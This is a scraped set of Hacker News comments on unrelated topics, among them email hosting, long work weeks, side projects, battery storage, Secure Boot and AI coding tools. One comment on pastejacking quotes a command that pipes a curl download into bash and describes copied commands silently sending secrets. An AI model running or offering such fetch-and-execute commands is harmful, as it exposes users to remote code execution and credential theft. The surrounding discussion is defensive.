MurphyA/hacker-news huggingface dataset:
by gerdesj | 2026-02-09 02:03:13+00:00
I eventually caved in a couple of years ago and migrated our corp email system to MS (I'm the MD and we are a precious metal "partner").

Our MX records go to my trusty Exim n rspamd MTA on prem. If MS take the piss with subscription costs then, I'll simply move us elsewhere. If they all take the piss, I'll expand our Dovecot somewhat and worry about a calendaring app.

I've been doing email systems for about 30 years now and I think I have a handle on some of the issues involved.
by zer00eyz | 2026-02-09 02:03:56+00:00
The dot com bubble. The reboot of tech after (pre 2008) at the dawn of podcasting, Web 2.0, the "open web".

70 hour weeks weren't unheard of. Why... because the money was stupid and you had skin in the game.

Lots of people got wealthy, very wealthy. Fuck you money wealthy.

I know a lot of people who did that and then kept working. The large majority of them in fact.

If you're here and you're looking at one of these jobs, this is the critical sentence you need to ask when negotiating: "Can I see a cap table." If they say anything other than yes, then your response is "with out a cap table the value of the equity being offered is ZERO, I'm going to need a lot more cash".
by rawgabbit | 2026-02-09 02:05:52+00:00
Job 7:1-6

“Is not life on earth a drudgery, its days like those of a hireling?
Like a slave who longs for the shade, a hireling who waits for wages,
So I have been assigned months of futility, and troubled nights have been counted off for me.
When I lie down I say, ‘When shall I arise?’ then the night drags on;
I am filled with restlessness until the dawn. My flesh is clothed with worms and scabs, my skin cracks and festers;
My days are swifter than a weaver’s shuttle; they come to an end without hope.”
by doom2 | 2026-02-09 02:06:39+00:00
> the memory prices making the products too expensive.

There seems to be a very simple (if not expensive and time consuming) solution to this: increase capacity. If the market had real confidence in AI, manufacturers would have started yesterday on new fabs. Yet we're seeing the opposite. Companies exiting the consumer space altogether and nobody rushing in to claim that void in the market. It feels like everyone is in wait and see mode
by andrewjneumann | 2026-02-09 02:06:40+00:00
Minimalist Podcast player with gPodder sync focused on iOS ecosystem. (WatchOS/CarPlay/AirPlay). YourPods is a gPodder-compatible, privacy-first, and self-hosted podcast player. Sync your subscriptions and listening progress across all your devices using your own Nextcloud server, manage multiple profiles, and keep your data 100% yours. https://github.com/asecretcompany/yourpods-source
by hedora | 2026-02-09 02:06:50+00:00
Here’s a list of “transports” which (I think) are storage backends that manage the passkeys (preventing the user from controlling their own credentials).

https://github.com/linux-credentials/libwebauthn?tab=readme-...

Anyone have any idea how hard it is to add “text file” or (god forbid) “TPM with user supplied keys” to the list?

(The latter would let you backup your keys securely, and then recover them by using the keys, which you backed up elsewhere.)
by briandoll | 2026-02-09 02:07:28+00:00
This reminds me of the time that Ripple launched a marketing promotion, giving developers some amount of Ripple to encourage micropayments. They defined "developer" as "someone who has had a GitHub account for 1 year prior to this announcement" to stop folks from creating hundreds of new accounts to claim credits. This essentially created a bounty on existing GitHub accounts and led to thousands of account compromises due to poor password hygiene. GitHub account security is much better now than it was back then (Nov 2013), but this solution similarly puts a bounty on highly-vouched accounts.
by JamesTRexx | 2026-02-09 02:07:55+00:00
Pulling apart and de-++-ing OpenTTD version 12.2 to scratch my itch of simplifying and reorganising the game back to C code.
I rewrote it years ago to convert it to more realistic time (it's just way too fast), add scheduling features and make it more event based. Ended up at some complicated breaking point so I'm doing this first before adding features.

And then there's writing micro fiction and currently a YA fantasy novel.
by echelon | 2026-02-09 02:07:59+00:00
I'm a filmmaker. I'm working on a tool to make movies with AI models:

https://github.com/storytold/artcraft

It's not like ComfyUI - it focuses on frontier models like Higgsfield or OpenArt do, and it is structurally oriented rather than node graph based.

Here's what that looks like (skip to halfway down the article):

https://getartcraft.com/news/world-models-for-film
by gpm | 2026-02-09 02:08:09+00:00
I don't think it's a dumb question at all. Storing thermal energy separately from electrical energy would make plenty of sense if we could store the thermal energy better (cheaper, lighter) than the electrical energy.

A quick search suggests that sodium acetate used like this stores 230kj/kg (i.e. 64 Wh/kg in the units used for batteries) [1] which is significantly worse than the sodium ion batteries being discussed. Same order of magnitude though, so maybe there's a better material that would make it work.

[1] https://www.sciencedirect.com/science/article/abs/pii/S13594...
by wpm | 2026-02-09 02:08:38+00:00
If it can charge as fast as filling up a tank, who cares?

There are already large battery swapping schemes in China with thousands of stations. Even if we don't get to 5-100 charging at 5C+ there's nothing stopping this from not being a problem.

If the arrow of time is to be believed, many of the complaints and gripes and "well aktuallys" from 10 years ago are solved already. And there seems to be no slowing down.
by tatsuhirosatou | 2026-02-09 02:08:53+00:00
https://gabezen.com/guide/

A Windows 95-themed interactive guide on agentic AI coding, with a hidden SkiFree game,
original chiptune soundtrack, achievement badges, and a Red Pill / Blue Pill choice that
can BSOD your browser. Seven chapters with a codebase readiness scorer, ROI calculator, and copyable artifacts for engineering leads.

Built entirely with Claude Code, which is fitting since the guide teaches the same workflow. It's a labor of love that happens to be made with the tool it's about.
by sodapopcan | 2026-02-09 02:09:57+00:00
Because they'll figure it out eventually. While I can't predict the future, I think it's naive to think that as all this catches on and becomes more commonplace that those of us that still have jobs won't be expected to work the same hours with much greater output. So I'd say enjoy it for now as it might not last. Like, computers in general were supposed to do this for us ~30 years ago.
by alexgarden | 2026-02-09 02:09:57+00:00
The truth is that the ship on "rules-based systems" has sailed. Doesn't matter if the vector is prompt injection, malicious payloads in skills, or backdoors - your agent (you will end up with one) is going to be exposed to judgment call moments on your behalf. Alignment and conscience (and an aligned conscience) are the only sustainable ways to solve this problem.

We're moving from "What am I not allowed to do" to "What's the right thing for me to do, considering the circumstances?"

Alignment is the foundation of trust.
by Dansvidania | 2026-02-09 02:10:16+00:00
Trying to get a small Saas off the ground by adapting a script I wrote for friends to help them schedule their teams -> http://skeda.app

and also Backseat Writer, a creative writing text editor that uses AI to impersonate your audience and give you feedback https://backseat-writer.vercel.app/demo which is more of an anchor for my own writing practice than anything else, but I find it fun
by PlatoIsADisease | 2026-02-09 02:10:33+00:00
Brain power vs muscle power.

Let us not be silly that these are the same.

But also, I'm on team "Its really hard to do the same mental job ~20 hours a week". I can do 2hr x 3 cycles x 5 days a week. But that means breaks.. When I did 12 hour days I was terrible at hours 9-12.
by fc417fc802 | 2026-02-09 02:11:01+00:00
On the contrary. It means only the currently installed OS will ever boot. If you wanted to switch you would enter the bios, clear the keys, then boot into the new system. That's roughly analogous to re-locking the bootloader on a pixel.

Right now to achieve that level of security you have to manually enroll only the keys you want. Have fun with that process.
by ianburrell | 2026-02-09 02:11:48+00:00
Except that the editor doesn't focus on little things but the structure. It is the job of copy editor to correct all the grammar and bad writing. Copy editor can't be done by AI since it includes fixing logical errors and character names. My understanding is that everybody, including the author, fixes typos when they find them. There is also proofreader at the end to catch typos.
by kevincox | 2026-02-09 02:12:28+00:00
From reading a little bit of the code it sounds like Roundcube's sanitizer is much closer to a blacklist than a whitelist. Any attempt to sanitize HTML with a blacklist is doomed to failure. Even if you read the current HTML spec (including referenced specs like SVG) and do a perfect job there are additions over time that you will be vulnerable to.

Probably any unknown element attribute pair should be stripped by default. And that's still not considering different "namespaces" such as SVG and MathML that you need to be careful with.
by root_axis | 2026-02-09 02:13:16+00:00
70 hour weeks are dumb - it's a red flag that the company leadership has no idea what they're doing. Those types of working hours are actually counter-productive to good work, and there is plenty of research to support that. This kind of thing is performative, not actually a good way to run a business.

Of course, critical deadlines occasionally require overtime to compensate for poor planning or acts of god, but it should be a last resort, not something to "embrace".
by RupertSalt | 2026-02-09 02:13:41+00:00
Back around 1993-94 was a genuine gold rush in terms of domain names and network numbers.

My supervisor one day rushed into the bullpen and proclaimed that he had registered SEX.ORG, and presumably the only reason was to squat it awhile and then resell it for thousands. [Squatting and speculation were, in fact, quite legal and wise moves at that point in history, especially with a high-demand 6-character site!]

Personally, I discovered the registration process and forms for domain names and network numbers were fairly straightforward. I had seen a Usenet post where someone explained that you just had to write a description of your company, its structure and annual meetings, finances, etc. So I completely made up a fictional company and described those things in my application.

Hey presto, I was now the "owner" and "admin" of cthulhu.com and a corresponding 192.0.0.0/3 Class-C network. Now my coworkers at the ISP were savvy enough to arrange for the DNS servers to answer for their vanity domains. But having no appreciable homelab, or BGP peering of my own, my DNS domain and Class-C Network both languished, until ultimately they were reclaimed in a sweep of unused space by IANA and InterNIC.

I have been unable to recall the exact numbers or find them in a search, but I know that its moniker was related, such as "CTHULHU-NET" or something.

I went on to legitimately register under the .ca.us domain on behalf of my home network and my roommates. cthulhu.com has long been handed over to someone who uses it.
by PlatoIsADisease | 2026-02-09 02:14:24+00:00
If anyone wants to sterotype the proper response to this thread, I'm down. I'll play:

Work from home made me more productive. AI Coding makes bad code that is harder to code. If we worked 10 hour days, I'd be more productive. Nuclear and Solar power... CEOs make bad code for everyone. If you spend little on programmers, you get bad quality.

Alright I lost a bit at the end. Maybe someone can ChatGPT this into the 4chan sniper meme. "What the ... did you just fucking say about me, you little ..."?
by brookst | 2026-02-09 02:14:51+00:00
At work I use it on giant projects, but it’s less impressive there’s

My mold project is around 10k lines of code, still small.

But I don’t actually care about whether LLMs are good or bad or whatever. All I care is that I am am completing things that I wasn’t able to even start before. Doesn’t really matter to me if that doesn’t count for some reason.
by martin-t | 2026-02-09 02:14:57+00:00
Working on AI for a company he doesn't own is the stupidest thing a smart person can do.

The goal is his work is to literally reduce the value of his work. He gets finite reward (even if above market average), then is fired, while owners continue extracting value from the work indefinitely.

I think we need to come up with a third alternative to communism and capitalism. I'd like to see a system which attempts to reward people for the full transitive value of their work as long as the work remains valuable.
by MBCook | 2026-02-09 02:15:29+00:00
I’ve played tons of 3D games, ever since they started coming out.

I could never get very far in GTA 3 or Vice City because of the controls. I tried when they came out and I think I tried again later.

It wasn’t looking around, that was never a problem. The shooting controls were abysmal. If I ended up in a fight with more than one person I was pretty much guaranteed to die.

GTA 4 was the first of the main line series where the controls were good enough for me to enjoy the whole game.
by pmhpereira | 2026-02-09 02:15:37+00:00
https://getchaotic.com/

A high-performance 3D game engine and editor in Rust. It has the ability to deploy to WebAssembly and WebGL2, delivering console-quality visuals and near-native performance right in the browser.

Currently building a multiplayer cozy farming game, inspired by Animal Crossing. Reach out to our discord if you are interested in learning more: https://discord.com/invite/mHsQayQNdp
by hedora | 2026-02-09 02:15:41+00:00
I wonder how they react to expected inflation, and how to build that in.

Official numbers say inflation has been 3% since Trump got in office in 2025. We’re seeing > 30% across the board on our bills, and GDP “growth” statistics imply inflation well above 3% (e.g., last quarter growth in the US was entirely due to increased health care spending).
by brookst | 2026-02-09 02:17:27+00:00
You may just be more knowledgeable than me. For me, even getting to algorithmic creation of 4-6 part molds, plus alternating negatives / positives in the different mediums, was insurmountable.

I’m willing to believe that I’m just especially clueless and this is not a meaningful project to an expert. But hey, I’m printing plastic negatives to make silicone positives to make plaster negatives to slip cast, which is what I actually do care about.
by marcus_holmes | 2026-02-09 02:17:31+00:00
The thing I've learned is that it doesn't do well at the big things (yet).

I have to break large tasks into smaller tasks, and limit the context and scope.

This is the thing that both Superpowers and Ralph [0] do well when they're orchestrating; the plans are broken down enough so that the actual coding agent instance doesn't get overwhelmed and lost.

It'll be interesting to see what Claude Code's new 1m token limit does to this. I'm not sure if the "stupid zone" is due to approaching token limits, or to inherent growth in complexity in the context.

[0] these are the two that I've experimented with, there are others.
by krackers | 2026-02-09 02:17:44+00:00
That wouldn't really help, it could be more naughty and use pastejacking so you don't even realize what's happening. That might end up catching a lot of people because as far as i know by default bash doesn't use bracketed paste, so you think you're copying a real command and it ends up sending your secrets before you know what happened.

Disabling JS + bracketed paste seems to be the only good solution.

Btw OP article uses a weird setup, why would they use `bash -c "$(curl $(echo qux | base64))"` instead of just "curl | bash"
by mak8 | 2026-02-09 02:19:20+00:00
I was teaching coding to my 10yr old and we were talking about creative projects on the internet. That led to discussing the Million Dollar Homepage and why something that simple worked.
He asked: could we build something similar today?
That curiosity turned into moltbillboard.com — a simple public billboard, but born in the era of AI agents (inspired by the recent OpenClaw craze).
It’s just an experiment..
by dinan | 2026-02-09 02:19:43+00:00
I'm making Letterboxd for TV, with a pretty data visualizations.

https://epilog.tv/

The UI/UX is a pretty interesting problem. Letterboxd has it easy because a movie is its own discrete unit, but TV shows have multiple seasons, each with many episodes, and viewer behavior is varied. Some people watch one episode. Some people watch three at a time. Others binge multiple seasons in a sitting.
by skybrian | 2026-02-09 02:21:19+00:00
I'm glad they're up-front about it. Not a fan, but I think it makes sense for a startup to make unconventional choices and recruit accordingly.

Over 20 years ago I joined a startup that leaned way into Extreme Programming and it was a lot of fun. It helped a lot that everyone working there wanted to try working that way.

We worked sensible hours and went home feeling very productive. The startup failed, though, in part because "pivoting" wasn't really a thing yet.
Show HN: Claude Code style personal website
by awaxman11 | 2026-02-09 02:21:22+00:00
Homage to my 2013 terminal portfolio (hit #2 here) and Claude Code.

Built with xterm.js and Claude Code.

Two modes: bash commands or Claude AI chat.

Custom-patched FiraCode for gap-free box-drawing characters (tested 20+ fonts, none worked, so I modified the glyphs myself).

Never been a more fun time to have ideas you want to bring to life!
by TZubiri | 2026-02-09 02:22:18+00:00
Correct.

First of all, any subdomain system domain is already a bit phishy because you need to somehow parse whether github.io is officially part of github.com and not say something like git-hub.xyz by a phisher or whatever new TLD there. These things are used by sysadmin/project pairs that can't budget 1$/month for a domain name, so it's 100% a security/price tradeoff.

Second of all, the actual domain host is publishing as one of these untrusted users on their alternate subdomain, so it could be a phisher using a subdomain of the official alternate domain with malicious material

Thirdly, even if it is all legit, it is still a problem, because it weakens security posture, it trains users to ignore domain names.

I understand if it appears subtle, but I wish that we lived in a world where whoever is responsible for this gets put on a PIP
by jhallenworld | 2026-02-09 02:22:26+00:00
Adding EXORdisk-I support to my MC6800 simulator so that it can boot EDOS and EDOS-II disks.

EDOS was a direct 6800 port of FDOS. FDOS was the first DOS available for microcontrollers, using iCOM's FD360 8-inch floppy drives.

https://github.com/jhallen/exorsim

https://www.youtube.com/watch?v=TpHKygZ7OHY
by pkulak | 2026-02-09 02:22:52+00:00
I said it was likely an easy solution. Glad to see my intuition was correct!

I also said it was the “final straw”. No worries at all if you’re not familiar with that expression. It means that there were lots of similar slights previously, and that the event I mentioned, while minor, was the one that finally pushed me to make the decision I made.
by fc417fc802 | 2026-02-09 02:23:04+00:00
> UEFI Secure Boot is also just not a meaningful countermeasure to anyone with even a moderate paranoia level

Baseless FUD. If you have an actual point to make then do so.

> All of these "add more nag screens for freedom"

No one said anything about a nag screen. You literally just made that up.

For the record google pixels work largely this way. Flash image, test boot, re-lock bootloader.
by fouc | 2026-02-09 02:23:59+00:00
This reminds me a bit of the basic concepts behind Zed Shaw's Utu idea

https://weblog.masukomi.org/2018/03/25/zed-shaws-utu-saving-...

https://savingtheinternetwithhate.com/

DEFCON presentation: https://www.youtube.com/watch?v=ziTMh8ApMY4
by JumpCrisscross | 2026-02-09 02:24:07+00:00
> sounds an awful lot like "I've been this club many times and I was never raped" or "I've walked down that alley many times and I've never been mugged"

I have been to many clubs many times and never suffered violence. I’ve also walked down alleys without concern. I did them in safe places where that wasn’t a material concern.

Windows is Detroit. MacOS is Palo Alto. What’s good practice in one is wasteful or dangerous for the other.
by alexgarden | 2026-02-09 02:24:54+00:00
I think the issue is that you're framing alignment in the context of an individual action, "Are we aligned in this task?", which, I agree, devolves into a rules-based approach.

I think the notion of Alignment is actually the answer, but it's (to use your framing), better described as "Meta alignment" or said differently, "alignment with a user's (or systems) long-term goals, values, and beliefs.

All post-AI problem spaces are too complicated for task or even epic-level framing. Everything needs to be treated as long-running, meta-alignment frameworks.
by sdf2erf | 2026-02-09 02:24:56+00:00
I view LLMs akin to a dictionary - has a bunch of stuff in there but by itself it doesn't add any value. The value comes from the individual piecing together the stuff. Im observing this in the process of using Grok to put together a marketing video - theres a whole bunch of material that the LLM can call upon to produce an output. But its on you to prompt/provide it the right input content to finesse what comes out (this requires the individual to have a lot of intelligence/taste etc....) . Thats the artistry of it.

Now that Im here Ill say Im actually very impressed with Groks ability to output video content in the context of simulating the real-world. They seemingly have the edge on this dimension vs other model providers. But again - this doesnt mean much unless its in the hands of someone with taste etc. You cant one-shot great content. You actually have to do it frame-by-frame then stitch it together.
by Schmerika | 2026-02-09 02:25:21+00:00
> similar to what PG outlined in https://paulgraham.com/ineq.html or what Garry Tan has been saying

Oh, those people who loved what DOGE was doing, even after it became apparent DOGE's cuts would kill millions of people and permanently compromise critical government systems. Cool role models :/

Almost as cool as Bezos, the centibillionaire whose employees piss in bottles for efficiency.

'These billionaires told us that it's actually great to cut taxes on billionaires, and let them do whatever they like!' ... Bruh. Our species really doesn't have time for this.

Billionaires are an existential threat to democracy, the planet, the oceans, space, etc. Working for them on a voluntary basis to fight a 5% wealth tax is extraordinarily negative EV. For everyone.

... Have you tried looking up your billionaire heroes in the Epstein files? I'd highly recommend it before organizing any more marches for them.